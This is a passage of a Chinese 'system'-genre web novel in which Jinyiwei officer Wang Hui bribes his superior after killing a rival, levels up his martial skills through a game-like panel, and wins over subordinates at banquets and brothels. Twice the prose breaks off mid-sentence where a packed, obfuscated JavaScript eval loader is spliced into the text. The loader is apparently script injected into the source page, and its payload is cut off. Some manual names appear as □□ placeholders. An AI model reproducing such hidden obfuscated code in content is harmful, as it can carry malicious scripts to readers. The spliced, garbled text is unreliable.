陈飞这才回过神,连忙应道:“是!卑职遵命!”他强压下心里的担忧,指挥着手下的力士去绑张鹏。张鹏早就吓得魂不附体,瘫在地上像一滩烂泥,任凭力士们用麻绳将他捆得严严实实,嘴里还不停求饶:“王大人饶命……我都说了……我只是个跑腿的……求您别杀我……” 院子里的锦衣卫们,不由自主地往两边退去,让出一条通道。他们看着王辉的眼神,早已没了之前的轻蔑和嘲讽,只剩下深深的恐惧。这个不过双十年华的青年,平日里看着懦弱可欺,可一旦狠起来,竟然连曹峰这样的老人都敢当众斩杀——在他们眼里,王辉此刻和“疯子”没什么两样,谁也不敢再触他的霉头。 王辉拖着横刀,走在最前面。刀鞘在青石板上划过,发出“刺啦刺啦”的声响,像是在为这场变局敲打着节拍。他的背影挺拔如松,衣袍下摆随着步伐轻轻摆动,沾着的血迹在夜色中若隐若现,却透着一股无人敢惹的威严。 刚走出百户所大门,夜风吹来,带着几分凉意,王辉停下脚步,转头看向陈飞。“陈校尉,你现在立刻去我府上,找管家取一千两纹银。”他顿了顿,语气严肃,“你拿着银子去拜访总旗张刚大人,把今天的事情原原本本地跟他说清楚——记住,不需要添油加醋,只说事实:曹峰买通张鹏,派地痞袭杀本官,在地牢败露后,又当众唆使手下袭杀本官,本官被迫反击,斩杀曹峰。” 陈飞愣住了,眼睛瞪得溜圆:“大人,一千两?这……这也太多了吧!”他倒吸一口凉气,一千两纹银是什么概念?他作为校尉,一年的俸禄也才两百两,这一千两,相当于他五年的俸禄!而且他心里清楚,王辉虽然是小旗,可原身家境并不算富裕,这一千两,怕是家里压箱底的银子了。“再说了,大人您杀曹峰是正当防卫,曹峰先犯的错,就算不报上去,张刚大人也该明白事理,没必要花这么多银子……” 王辉看了他一眼,眼神深邃,带着几分陈飞看不懂的考量。“你照我说的做就行。”他的语气不容置疑,“张刚大人是东院总旗,掌管着整个东院的事务,今天这事闹得这么大,必然会传到他耳朵里。咱们主动上门,把事情说清楚,再送上银子,是为了让他在上面说话时,能多偏向咱们几分。你以为,曹峰在百户所待了五年,就没有其他关系了?若是有人在张刚大人面前搬弄是非,说我故意斩杀同僚,到时候麻烦就大了。” 陈飞这才明白过来,王辉不是在乱花钱,而是在铺路。他心里的担忧少了几分,多了几分敬佩——这位王大人,不仅有狠劲,还有心思,考虑得比他周全多了。他不再犹豫,拱手道:“卑职明白!卑职这就去办!”说罢,他转身快步离去,脚步匆匆,生怕耽误了时间。 王辉看着陈飞的背影消失在夜色中,才重新迈步,朝着知府衙门的方向走去。押着张鹏和曹峰尸体的力士们,紧紧跟在他身后,大气都不敢喘。 夜色渐深,街道上更安静了。只有巡夜士兵的灯笼,在远处晃悠,偶尔传来几声梆子响,敲得人心头发沉。王辉一边走,一边心念一动,淡蓝色的系统界面浮现在眼前: 【宿主:王辉】 【境界:八品】 【功法:《玄元功》(第二层 0/20)】 【技能:破风刀(小成 0/100)】 【经验值:150】 斩杀曹峰获得的150点经验值,还没用过。王辉没有丝毫犹豫,指尖在“玄元功”上一点,选择升级。 【使用20点经验值,玄元功升级至第三层】 【内力暴涨,经脉拓宽,当前境界提升至七品】 一股灼热的气流瞬间从丹田涌出,比之前突破八品时更加强烈!如果说八品时的内力是奔涌的溪流,那七品时的内力就是奔腾的江河——气流顺着经脉飞速窜动,冲刷着之前尚未完全打通的经脉节点,带来一阵阵酥麻的胀痛,却又夹杂着难以言喻的舒畅。王辉能清晰地感觉到,四肢百骸里都充满了力量,连握着刀的手,都稳得更甚从前。 他下意识地握了握拳,指节发出“嘎嘣”的脆响,力量感顺着指尖蔓延开来,仿佛能一拳打碎路边的青石。五感也再次增强——远处巡夜士兵的脚步声,从之前的“清晰可辨”变成了“近在耳边”,甚至能听出他们步伐的轻重;街边墙角的老鼠,在黑暗中窜动的细微声响,也能精准捕捉到;连空气中的味道,都分得更加清楚,泥土的湿气、灯笼油的味道、远处酒肆飘来的酒香,层次分明,不再混杂。 王辉没有停下,目光落在“玄元功”的升级需求上——第三层升级到第四层,需要100点经验值,对应的境界是六品。他知道,武者的境界看似分为九品,实则暗藏分水岭:九至七品为“下三品”,内力虽有增长,却只是量的积累;而六至四品为“中三品”,一旦突破到六品,内力就会发生质的变化,不仅总量会暴涨,还能初步掌控内力的运转,让招式更具威力。 没有丝毫犹豫,王辉再次选择升级: 【使用100点经验值,玄元功升级至第四层】 【内力质变,窍穴贯通,当前境界提升至六品】 这一次,体内的气流不再是“灼热”,而是“滚烫”!仿佛有一团烈火在丹田中炸开,滚烫的内力顺着经脉疯狂奔涌,将之前尚未打通的窍穴一一冲开!每冲开一个窍穴,就有一股新的力量融入内力之中,让内力的总量不断暴涨。经脉被拓宽到之前的两倍,内力在其中奔腾,却不再像之前那样“汹涌难控”,反而多了几分“温顺”,仿佛能随着心意随意调动——这就是中三品武者的底气,内力从“被动流淌”变成了“主动掌控”。 王辉停下脚步,闭上眼睛,感受着体内的变化。他能清晰地“看到”内力在经脉中运转的轨迹,从丹田出发,经过手臂的“曲池穴”“合谷穴”,再到腿部的“足三里”“涌泉穴”,最后回到丹田,形成一个完美的循环。之前使用破风刀时,总觉得“力有不逮”,此刻有了六品内力的支撑,却觉得浑身都充满了用不完的劲,连刀招的细节,都仿佛清晰了几分。 他睁开眼,系统界面再次更新,还剩下30点经验值。王辉的目光落在“破风刀”上——小成境界的破风刀,虽然比初学强了不少,可终究是江湖上烂大街的基础刀法,招式简单,威力有限,若是遇到真正的高手,根本不够用。 【使用10点经验值,破风刀升级至大成境】 冰冷的系统提示音落下,王辉的脑海中瞬间涌入无数关于破风刀的感悟——之前练习时不懂的发力技巧、招式衔接的漏洞、应对不同敌人的变招,此刻全都豁然开朗。他仿佛在脑海中演练了千万遍破风刀,从“劈、砍、撩、刺”的基础招式,到“连招衔接”“借力打力”的进阶技巧,再到“预判对手动作”“寻找破绽”的实战经验,全都融会贯通,达到了“登峰造极”的大成境界。 王辉下意识地挥了挥横刀,刀身划破空气,只发出一道极轻微的“咻”声,比小成时快了数倍。他试着用出破风刀的“劈山式”,内力顺着手臂灌注到刀身之中,刀身上竟泛起一层淡淡的白光!刀刃落下时,带着一股凌厉的刀风,将路边的一棵小树拦腰斩断,切口光滑如镜,连树叶都没来得及晃动。 “破风刀终究是基础刀法,就算练到大成,也有局限。”王辉收起刀,心里暗自思索,“内力是火药,武技就是炮弹的外壳——没有好的外壳,再好的火药也发挥不出威力。看来,得找机会从锦衣卫内部获取更高级的武技才行。” 他知道,锦衣卫作为楚国的核心执法机构,内部藏有不少高深的武技和功法。虽然以他现在的小旗身份,还接触不到顶尖的秘籍,但至少能拿到比破风刀强得多的中级武技,比如锦衣卫常用的“绣春刀法”“锁喉手”之类,这些武技配合他的六品内力,足以应对大多数情况。 王辉再次看向系统界面,剩下的20点经验值暂时用不上,便先留着: 【宿主:王辉】 【境界:六品】 【功法:《玄元功》(第四层 0/300)】 【技能:破风刀(大成)】 【经验值:20】 整理好心情,王辉继续前行。押着张鹏的力士们,看着王辉刚才挥刀斩树的一幕,吓得更加不敢说话——他们原本以为王辉只是刚突破八品,没想到转眼间就成了六品武者,这等修炼速度,简直是闻所未闻!此刻在他们眼里,王辉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“要事?他能有什么要事?”张刚怒极反笑,指着门口大吼,“不见!让他滚!告诉他,王辉闯下这么大的祸,还敢派人来见我?让他等着被百户大人问罪吧!” “大人,”手下犹豫了一下,还是硬着头皮说道,“陈校尉还带了一口大箱子,说是……说是有东西要献给您。那箱子看着沉甸甸的,像是装了不少东西。” 张刚皱了皱眉,心里泛起一丝疑惑。王辉刚杀了曹峰,按理说应该躲还来不及,怎么还敢派人来送礼?难道他有什么后手?他沉吟片刻,对着手下道:“让他进来。我倒要看看,王辉这小子,到底想耍什么花样。” “是!”手下应声退下,很快就领着陈飞走了进来。陈飞手里提着一口紫檀木箱子,箱子上还挂着铜锁,看起来确实沉甸甸的。他一进书房,就立刻躬身行礼,语气恭敬:“卑职陈飞,见过总旗大人。” 张刚坐在椅子上,冷冷地看着他,语气带着十足的威严:“陈校尉,你家大人杀了曹峰,闹得满城风雨,你现在来见我,是想替他求情,还是想替他辩解?” 陈飞不敢抬头,将箱子放在地上,打开铜锁——箱子里铺着一层红色的绸缎,绸缎上整整齐齐地码着一锭锭银子,每锭银子都刻着“官银”的字样,阳光从窗外照进来,银子泛着耀眼的白光,晃得人眼睛都花了。“总旗大人,这是王大人让卑职送来的一千两纹银,说是给大人您略表心意。” 张刚的眼睛瞬间瞪大了,他原本以为箱子里最多也就百八十两,没想到竟然是一千两!他当了这么多年总旗,也很少一次性见到这么多银子。他的怒气消了几分,心里的疑惑却更重了:“王辉让你送这么多银子来,到底想干什么?你把今天的事情,一五一十地跟我说清楚,若是有半句假话,休怪我对你不客气!” 陈飞连忙点头,将今天的事情原原本本地说了出来——从酒馆遇袭,到地牢审凶,再到百户所曹峰唆使手下袭杀,王辉被迫反击斩杀曹峰,每一个细节都没落下,既没有偏袒王辉,也没有抹黑曹峰,只是客观地陈述事实。 张刚听完,沉默了。他手指轻轻敲击着桌面,心里快速盘算着:曹峰买凶袭杀上官,这是死罪;当众唆使手下动手,更是罪加一等。王辉斩杀曹峰,确实是正当防卫,就算上报上去,也占理。而且王辉主动送来一千两银子,显然是懂规矩,知道给他这个总旗留面子,也知道用银子铺路,让他在上面帮忙说话。 若是他现在追究王辉的责任,不仅落不到好,还会得罪王辉;若是帮王辉一把,不仅能拿到这一千两银子,还能卖王辉一个人情——这个王辉,年纪轻轻就有如此狠劲和心思,又能在短时间内从九品突破到六品,将来前途不可限量,说不定以后还能帮上他的忙。 想到这里,张刚的脸色缓和了不少。他看着陈飞,语气不再像之前那样冰冷:“我知道了。你回去告诉王辉,今天的事情,我会向百户大人禀报,替他说句公道话。让他安心处理府衙的事情,东院这边,我会盯着,不会让其他人乱说话。” 陈飞心里一松,连忙躬身道:“多谢总旗大人!卑职这就回去转告王大人!” 看着陈飞离开的背影,张刚走到箱子前,拿起一锭银子,掂量了一下,嘴角勾起一丝淡淡的笑容。他原本以为王辉是个愣头青,没想到竟是个懂得审时度势的聪明人。这场东院的变局,或许不是坏事,反而能让东院的风气,彻底变一变。 而此时的王辉,已经带着张鹏和曹峰的尸体,来到了知府衙门门口。他抬头看着府衙的匾额,眼神坚定——接下来,就是要让知府大人定案,将曹峰和张鹏的罪行彻底坐实,从此在东院,再也没人敢对他说半个“不”字。 7. 王辉立身 南城锦衣卫百户所的总旗大厅,透着一股久居上位的沉凝气。 紫檀木主位上,张刚斜倚着,指节分明的手漫不经心地摩挲着扶手边缘的云纹雕饰——那雕饰被岁月磨得光滑,却仍掩不住木质里透出的贵气。 厅内光线偏暗,唯有头顶一盏黄铜宫灯垂着,暖黄的光落在张刚枯瘦的脸上,将他眼角的褶皱拉得更长,也让他眼底的审视多了几分冷意。 厅外传来沉稳的脚步声,先是两人抬着重物的闷响,再是陈飞略显急促的招呼声。 很快,陈飞领着两个青衣校尉走了进来,那两人各抬着箱子的一角,小臂上的肌肉绷得紧实,连额角都渗出了细汗——显然箱子分量不轻。 箱子是老榆木做的,铜锁泛着暗哑的光,边角处还贴着几张泛黄的封条,一看便知是精心准备的。 “属下陈飞,见过张大人。”陈飞快步上前,双手抱拳躬身,腰弯得极低,目光落在张刚脚边的青砖上,不敢有半分逾越。 他身后的两个校尉也急忙放下箱子,跟着躬身行礼,大气都不敢喘。 张刚眼皮抬了抬,声音沙哑得像砂纸磨过木头:“何事?” “回大人,属下是奉王小旗之命,特来拜访您。 陈飞语速不快,却带着几分急切,“本该是王小旗亲自来的,只是他此刻还在府衙待着,实在抽不开身。 他说,自打来了锦衣卫百户所,一直没来得及向您请安,心里实在过意不去,等他从府衙出来,定第一时间登门请罪。” “请罪?”张刚突然冷哼一声,枯瘦的脖子上青筋猛地凸起,像两条扭曲的蚯蚓,“他那叫请罪吗?在百户所当众杀同僚,这般‘威风’,我的小厅可容不下他!” 这话里的火气让厅内温度都降了几分,陈飞心里一紧,连忙直起身半分,语气更显恳切:“张大人息怒!王小旗毕竟才弱冠之年,正是年少热血的时候。 那日曹峰当众对他动手,他也是一时冲动才失了分寸。事后他懊悔得很,知道给您添了麻烦,这才让属下先过来,替他赔个不是。” 说着,陈飞上前一步,手指扣住箱子的铜锁,轻轻一拧——“咔嗒”一声轻响,锁扣弹开。 他双手握住箱盖,缓缓向上掀开,一股金属特有的冷光瞬间漫了出来:满满一箱子银锭子,个个都有二两重,整齐地码在里面,在宫灯的映照下泛着柔和却刺眼的光,连空气里都仿佛飘着银子特有的沉甸甸的气息。 张刚的目光落在银子上,那阴沉的脸像是被温水浸过,渐渐舒展开来。 他眼角的褶皱不再紧绷,嘴角甚至微微向上弯了弯,连声音都温和了许多:“你这话倒也在理。年轻人嘛,性子烈点正常,难免有冲动的时候。” 他顿了顿,手指在扶手上轻轻敲了敲,“你把当日的事仔细说说,只要王辉不是无故杀人,我身为总旗,也不能让自家人寒了心。 毕竟,我与他父亲曾是同僚,论辈分,他也算我的子侄。” 陈飞心里松了口气,连忙将事情的来龙去脉细细道来:“那日王小旗去地牢提审几个地痞,那几个地痞是清水帮的人,嘴硬得很,一开始不肯招。 后来王小旗用了点手段,他们才吐露实情。 “王小旗知道后,本想先禀明大人您,可没想到回百户所的时候,曹峰直接堵在了院子里。 曹峰手里拿着刀,上来就骂王小旗‘不知天高地厚’,还说‘敢查我的事,找死’,说着就挥刀砍了过去。 ”陈飞语速平稳,没有添一个字的虚话,只如实描述,“当时周围还有几个校尉看着,王小旗一开始只是躲,后来曹峰刀刀往要害砍,王小旗没办法,才还手的。 最后那一下,也是曹峰自己扑得太急,王小旗没躲开,才误杀了他。” 张刚静静听着,时不时点头,等陈飞说完,他眼底的疑虑彻底散了——这跟他派去打探的消息分毫不差。 他摆了摆手:“行了,你先下去吧。既然是曹峰买凶刺杀上官,事情败露后又铤而走险,那王辉就没罪。我会去跟百户大人解释,不会让他受影响。” “多谢张大人!”陈飞再次躬身行礼,后退着走出大厅,出门时还特意轻轻带上门,生怕惊扰了里面的人。 待陈飞走后,张刚才起身,缓步走到箱子边。 他弯腰拿起一锭银子,银子的冰凉透过指尖传来,沉甸甸的触感让他脸上的笑容更浓了。 他转头看向站在一旁的幕僚——那幕僚穿着一身青色长衫,手里捏着把折扇,始终没说话,只静静观察着。 “老徐,你怎么看王辉这小子?”张刚将银子放回箱子里,发出“叮”的一声轻响。 被称作老徐的幕僚笑了笑,折扇轻轻敲了敲掌心:“是个不错的年轻人。 年少冲动是真,但能让陈飞如实说情,不添油加醋,说明他分得清主次,脑子不笨。不过,怎么处置,终究还是看大人您的意思。” 张刚盯着箱子里的银子,沉吟了片刻:“这小子倒是有分寸。想当年他父亲在的时候,就老实得过分,没想到王辉比他父亲活络多了,倒有几分‘青出于蓝’的意思。”他顿了顿,语气里多了几分认可,“这小旗的位置,我给他保了。” 老徐顺着他的话说道:“大人说得是。一千两银子,可不是小数目,寻常校尉一年俸禄也才二十两,王辉能这么舍得出手,可见他懂‘取舍’。 而且他行事果断,年纪又轻,单这几点,就比百户所里那些混日子的人强多了。” 张刚想起曹峰,脸色又沉了沉:“哼,曹峰那蠢货,前段时间清水帮的事,他收了八百两,只给我送来三百两,还敢跟我哭穷。这种人,死了也是活该!” …… 翌日清晨,天刚蒙蒙亮,府衙门口的石狮子还沾着露水,台阶上的青苔透着湿意。 王辉从府衙大门走了出来,身上的锦衣卫制服依旧整齐,只是袖口沾了点灰尘——那是在府衙待了一夜的痕迹。他抬手揉了揉眉心,眼底带着几分疲惫,却更多的是松快。 府衙的结案文书已经下来了:曹峰不仅被定了“买凶刺杀上官”的罪,还牵连出之前“勾结清水帮,贪墨赃银”的旧案,连他的家人都被削了户籍,流放三千里; 而帮曹峰买凶的张鹏,因为“协助官员作恶,蓄意伤人”,被判了斩刑,三日后问斩。 至于王辉,文书上写着“正当防卫,无罪释放”,连半点处分都没有。 “大人!”陈飞早就等在府衙门口的树荫下,手里攥着个布包,里面是给王辉准备的早饭。 看到王辉出来,他快步跑上前,语气里满是欣喜,“我刚从百户所过来,听说府衙已经结案了,您没事了!” 王辉点了点头,接过陈飞递来的布包,打开一看,里面是两个白面馒头和一块酱驴肉。他咬了口馒头,问道:“昨天你去见张大人,情况怎么样?” “张大人看了银子,态度立马就软了,还说会跟百户大人解释。 ”陈飞说着,突然叹了口气,搓了搓手,语气里满是惋惜,“早知道府衙结案这么顺利,当初就没必要送那一千两银子了。 那可是一千两啊,够寻常人家过一辈子了!” 王辉咬馒头的动作顿了顿,抬眼看向陈飞,眼神锐利了几分:“陈校尉,你在百户所待了五年,修为比曹峰高,资历也比他老,可你知道为什么这么多年,你一直被曹峰压着,连个小旗的位置都没争到吗?” 陈飞愣了一下,茫然地摇了摇头:“属下不知道。”他一直以为是自己运气不好,没遇到赏识的上司。 “因为你不懂‘舍得’。”王辉语气平静,却带着不容置疑的笃定,“有舍才有得,你连一点好处都不肯给上面的人,人家凭什么给你机会?” 他没再多说,可陈飞却愣在了原地,反复琢磨着“有舍才有得”这五个字,心里渐渐亮堂起来。 王辉心里清楚,这次的事能这么顺利,全靠那一千两银子。虽说他杀曹峰是正当防卫,但在锦衣卫这种地方,“理”从来都不是最重要的。 首先,他在百户所当众杀人,不管缘由如何,都给南城百户所丢了脸——连江湖帮派都讲究“家丑不可外扬”,锦衣卫作为朝廷亲军,更看重名声。 若是没有张刚出面压下舆论,百户为了平息风波,至少会让他停职三个月。他刚上任小旗,一旦停职,手下的校尉肯定会散,到时候他这个小旗就成了空架子,再想立足就难了。 其次,府衙结案之所以这么快,也是张刚跟百户打了招呼,百户又去跟府衙的推官递了话。否则,单是“锦衣卫内部互杀”这一条,就能拖上半个月,到时候他就算没罪,也得在府衙待得心力交瘁。 …… 又过了一日,天刚亮,王辉便换上干净的锦衣卫制服,往百户所走去。 刚到百户所大门,守门的两个校尉就眼睛一亮,连忙躬身行礼:“见过王小旗!”语气恭敬得很,跟之前那种敷衍的态度截然不同。 王辉点了点头,径直往里走。一路上,遇到的锦衣卫不管是校尉还是小旗,都纷纷停下脚步,侧身行礼,嘴里说着“王小旗好”。有几个之前跟曹峰走得近的校尉,甚至还凑过来,脸上堆着笑,想跟他套近乎。 王辉心里清楚,这些人的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一个头发花白的老者看到王辉进来,连忙迎上前:“这位大人是?” “在下王辉,是新上任的小旗,按规矩来领武功秘籍。”王辉拿出自己的腰牌,递给老者。 老者接过腰牌看了看,连忙躬身行礼:“原来是王小旗,失礼了。 按规矩,小旗可领两门秘籍,您看您想要哪方面的?”他说着,从书架上取下一本线装书,递给王辉,“这是秘籍名录,您可以先看看。” 王辉接过名录,翻开一看,上面记满了武功秘籍的名字,有刀法、剑法、拳法,还有轻功和内功心法。 他翻了几页,心里渐渐有了主意:他现在已经有了内功心法《玄元功》,也会基础的《破风刀法》,但缺少一门更刚猛的杀伐刀法,也没有像样的轻功——上次被曹峰的人堵截时,他因为身法太慢,差点吃亏。 “我想要一门刀法和一门轻功。”王辉合起名录,对老者说。 老者点了点头:“刀法的话,《□□法》是不错的选择,这门刀法大开大合,适合近战杀伐,在江湖上也算是中上乘; 轻功的话,《雁凌术》很实用,既能用来对战闪避,也能飞檐走壁,赶路也快。” 王辉眼睛一亮——这两门秘籍正好合他心意。他连忙说:“就选《□□法》和《雁凌术》。” 老者转身走到书架后,很快抱来两本蓝色封皮的秘籍,递给王辉:“这就是两门秘籍的手抄本,王小旗拿好。切记,秘籍不可外传,若是遗失,需立刻报备。” “多谢老人家。”王辉接过秘籍,指尖触到封皮的宣纸,心里满是欢喜。他拿着秘籍,快步走出传功阁,找了个安静的角落,悄悄打开了系统页面—— 宿主:王辉 境界:六品 功法:玄元功(第四层 0/300) 技能:破风刀法(大成) 雁凌术(未入门 0/10) □□法(未入门 0/10) 经验值:20 果然如他所料,《雁凌术》和《□□法》的品级比《破风刀法》高多了,仅仅是入门就需要10点经验值,跟《破风刀法》大成的要求一样。王辉看着经验值一栏的“20”,没有丝毫犹豫,直接将经验值分配给了两门新技能——各分配10点。 瞬间,一股暖流涌入脑海,两门秘籍的招式和心法如同刻在脑子里一般,清晰无比。系统页面上的技能状态也变了: 雁凌术(入门 0/50) □□法(入门 0/50) 王辉握了握拳,感受着体内隐隐增强的力量,眼底闪过一丝坚定。 他知道,这只是开始——在锦衣卫这个地方,只有实力和人脉足够强,才能真正立足以后,他还要赚更多的功勋,提升境界,领取更高级的秘籍,总有一天,他要站在比张刚更高的位置上。 阳光透过树叶的缝隙,落在王辉身上,将他的影子拉得很长。他整理了一下制服,转身朝着自己的办公房走去——新的一天,才刚刚开始。 8. 王辉查案 传功阁外的石板路被晨露浸得微凉,王辉指尖捏着两本线装秘籍,心神却已沉入系统面板的变化之中。 【使用10点经验值】 【雁凌术:未入门(0/10)→入门(10/10)】 系统提示音在脑海中响起的刹那,一股难以言喻的轻盈感瞬间包裹了王辉的四肢百骸。他下意识地抬了抬脚尖,竟觉身体仿佛卸下了千斤重担,往日里走路时脚掌落地的沉闷感消失无踪,取而代之的是一种近乎飘拂的轻盈——就像初春的柳絮沾了风,稍一用力便能离地半尺。他试着侧过身,沿着传功阁的朱红廊柱轻轻一滑,衣袂擦过木柱时竟没发出半分声响,连廊下悬着的铜铃都只是微微晃动,连一丝清脆的响声都未曾激起。 “这雁凌术,倒真有几分‘雁过无痕’的意思。”王辉心中暗叹,又将目光移向另一项技能。 【使用10点经验值】 【□□法:未入门(0/10)→入门(10/10)】 相较于雁凌术带来的直观变化,□□法的提升更像是一种“默契”的觉醒。他腰间本就佩着一柄锦衣卫制式长刀,此刻伸手握住刀柄,指尖传来的不再是往日的生涩冰凉,反而多了几分“熟稔”——仿佛这柄刀已随他练了数月,刀身的重量、劈砍的角度、发力的窍门,都像刻在骨子里一般清晰。他悄悄将刀拔出半寸,寒光闪过的瞬间,脑海中自动浮现出《□□法》开篇的“横劈式”,手臂下意识地跟着微微下沉,竟能清晰感觉到刀风裹挟的力量,比往日凭空挥砍时强了不止一成。 “两门中上乘武功,瞬息入门……这系统,倒真是省时省力。”王辉将刀归鞘,压下心中的欣喜,脚步轻快地朝着自己的办公小院走去。 百户所的布局规整如棋盘,以四座总旗大厅为中心,辐射出十六座小旗小院,王辉管辖的小院在东院东北角,紧挨着一片竹林,环境倒算清净。往日他来这里时,院里的锦衣卫不是聚在墙角赌钱,就是趴在案上打盹,见了他也只是眼皮都不抬一下;可今日刚走到院门口,院里的动静便骤然停了——赌钱的手僵在半空,打盹的猛地直起身,二十多个锦衣卫齐刷刷地转头看来,眼神里没了往日的轻视,多了几分敬畏。 “王大人!” “大人来了!” 此起彼伏的招呼声响起,几个正在擦拭长刀的力士甚至连忙放下手里的活,躬身站好。王辉微微颔首,目光扫过院中的人群,最终落在了从主案房里走出来的三个人身上——陈飞走在最前,神色依旧沉稳;他身后跟着两个校尉,一个身材高壮,脸膛黝黑,是之前跟着曹峰的李虎;另一个中等身材,留着两撇小胡子,是马宝国。 此刻这两人的脸色,比院里的力士还要僵硬。李虎的手紧紧攥着腰间的刀鞘,指节都泛了白,眼神躲闪着不敢看王辉;马宝国则不停地用袖口擦着额头的汗,哪怕清晨的风还带着凉意,他的额角却已沁出细密的汗珠。 他们心里比谁都清楚,自己之前是如何排挤王辉的——曹峰在时,他们跟着曹峰故意迟到早退,把最苦最累的巡逻任务丢给王辉手下的新兵;王辉第一次召集手下开会时,他们当着所有人的面摔杯子,说“一个毛都没长齐的小子,也配管我们”;就连昨天曹峰在百户所大堂拔刀时,他们也是第一个喊“曹哥砍他”的人。 可现在,曹峰死了,王辉不仅从府衙平安出来,还得了张总旗的亲口保举——这意味着,往后东院这处小院,王辉就是说一不二的主。官大一级压死人,以王辉如今的势头,若要清算他们,随便找个“出任务不力”的由头,就能把他们贬去守城门,甚至直接革职查办。 “王……王大人。”李虎咽了口唾沫,率先躬身,声音都有些发颤,“之前是我们糊涂,跟着曹峰瞎起哄,冒犯了大人。您大人有大量,别跟我们一般见识。” 马宝国也连忙跟着躬身,头低得几乎要碰到胸口:“是是是,我们知道错了!以后大人指哪,我们就打哪,绝不敢再耍半点小心思!” 院里的气氛瞬间变得压抑起来,其他锦衣卫都屏住了呼吸,偷偷观察着王辉的神色——他们大多也跟着曹峰排挤过王辉,若是王辉要拿李虎、马宝国开刀,下一个可能就是自己。 王辉看着两人紧绷的背影,心里却没什么波澜。他很清楚,李虎、马宝国只是趋炎附势的普通人,真正与他有仇的只有曹峰;更何况,他刚接手小院,正是需要人手的时候,把这两个熟悉业务的校尉逼走,对他没有半点好处。 他上前两步,伸手虚扶了一下:“起来吧。” 声音不高,却带着一股沉稳的力量。李虎和马宝国愣了一下,抬头见王辉脸上没什么怒意,才敢慢慢直起身,心里的石头稍稍落了地。 “以前的事,过去了就过去了。”王辉的目光扫过院里的所有人,语气平和却掷地有声,“曹峰犯了错,自有律法处置;但你们,都是百户所的同僚,也是我王辉的手下。往后大家好好做事,我不会亏待你们;但若是有人还想像以前那样混日子,甚至搞小动作……” 他顿了顿,眼神骤然锐利了几分,吓得几个力士连忙低下头。 “那也别怪我不讲情面。” 话音落下,院里没有一个人敢吭声。但所有人都明白,王辉这是给了他们一个台阶,也是立了规矩——既往不咎,但往后必须服管。 李虎和马宝国对视一眼,都从对方眼里看到了松一口气的神色。李虎连忙挤出笑容,凑上前道:“大人宽宏大量!为了赔罪,也为了给大人接风,我和老马在花满楼订了一桌,晚上请大人赏脸,咱们喝几杯?” 花满楼是南城有名的青楼,不仅有好酒好菜,还有琴棋书画样样精通的姑娘,寻常校尉一年也难得去一次。马宝国连忙附和:“对对对!酒菜都订好了,就等大人您一句话!” 王辉看着两人讨好的样子,心里清楚这是他们示好的手段。他微微点头:“好,晚上我过去。” 听到这话,李虎和马宝国脸上的笑容更浓了,院里的气氛也瞬间活跃起来。几个胆子大的力士甚至敢开口打趣:“大人,花满楼的小红姑娘可是出了名的温柔,晚上让李校尉给您叫来陪酒?” 王辉笑了笑,没接话,转身朝着主案房走去——他知道,收服人心,从来不是靠一次宽容,而是靠往后的相处。 接下来的几天,王辉几乎每天都在赴宴中度过。 第一天是李虎、马宝国的花满楼宴。二楼的雅间里,红木圆桌摆满了酱肘子、烧鹅、清蒸鱼,酒壶里倒出的是陈年女儿红。李虎特意叫了花满楼的头牌小红,那姑娘穿着水绿色的襦裙,手抱琵琶弹了曲《春江花月夜》,声音柔得能掐出水来。酒过三巡,李虎和马宝国也放开了,说起了以前曹峰的旧事——比如曹峰怎么克扣手下的俸禄,怎么私吞案犯的赃款,甚至怎么跟其他小旗抢功劳。王辉一边听,一边偶尔问几句百户所的日常事务,比如巡逻的路线、案件的报备流程、与府衙的对接方式,两人知无不言,把自己知道的都倒了出来。 第二天是手下四个力士的小酒馆宴。酒馆在百户所附近的巷子里,没有花满楼的精致,却更接地气。力士们点了一大盆炖羊肉,配着散装的米酒,喝得满脸通红。他们说的都是最实在的话——比如哪个地段的流民最凶,巡逻时要多带几个人;哪个当铺的老板喜欢藏赃物,查案时要重点盯着;甚至连百户所伙房的大师傅喜欢收烟丝,想多吃点肉就得给他塞点好处,都跟王辉说了。王辉听得认真,偶尔还跟他们碰杯,渐渐地,力士们看他的眼神从敬畏变成了亲近,不再像以前那样怕他。 往后几天,手下的人三三两两地请宴,有的在青楼,有的在酒馆,有的甚至把他请到自己家里,让媳妇做几个家常菜。王辉来者不拒,每一场都去,每一场都认真听、认真记。 几天下来,他不仅彻底摸清了手下二十多个人的脾气秉性——比如李虎勇猛但冲动,适合带队抓人;马宝国细心但胆小,适合整理案卷;陈飞沉稳又可靠,是能委以重任的得力助手——还把锦衣卫的业务流程摸得一清二楚。更“意外”的收获是,南城大大小小的青楼他几乎都去遍了:花满楼的小红温柔,迎春楼的翠儿活泼,烟雨楼的苏姑娘琴弹得好,就连最不起眼的十香院,也有个擅长推拿的周姑娘,能把浑身的疲惫都按走。至于各家的价位,从一两银子的普通姑娘,到十两银子的头牌,再到五十两银子的“过夜费”,他都摸得明明白白,有些没摸透的,还特意多去了两次“验证”。 “大人,您这几天可是把南城的风月场都逛遍了,再这么下去,兄弟们都要跟不上您的脚步了!”这天晚上,从十香院出来,陈飞笑着打趣道。 王辉拍了拍他的肩膀,笑骂道:“少跟我贫。我这是在‘调研’——你没发现吗?那些青楼里来往的人,三教九流都有,有时候比咱们查案还能听到更多消息。比如昨天在烟雨楼,我就听到两个商人说,最近阳明巷那边的粮价涨得厉害,比其他地方贵了三成。” 陈飞愣了一下,随即恍然大悟:“还是大人想得周全!” 王辉笑了笑,没再多说。他心里清楚,这些看似荒唐的赴宴,其实是最快融入团队、了解民情的方式——在酒桌上,人才会放下戒备;在青楼里,人才会说出真话。而这些信息,说不定哪天就能派上用场。 第五天清晨,天刚蒙蒙亮,王辉就来到了小院的主案房。他刚坐下,拿起案上的巡逻记录翻看,陈飞就急匆匆地跑了进来,脸上没了往日的轻松,神色慌张得甚至忘了敲门。 “大人!出事了!”陈飞手里攥着一张皱巴巴的文书,额头上满是汗水。 王辉放下记录,抬头看向他:“别急,慢慢说。出什么事了?” 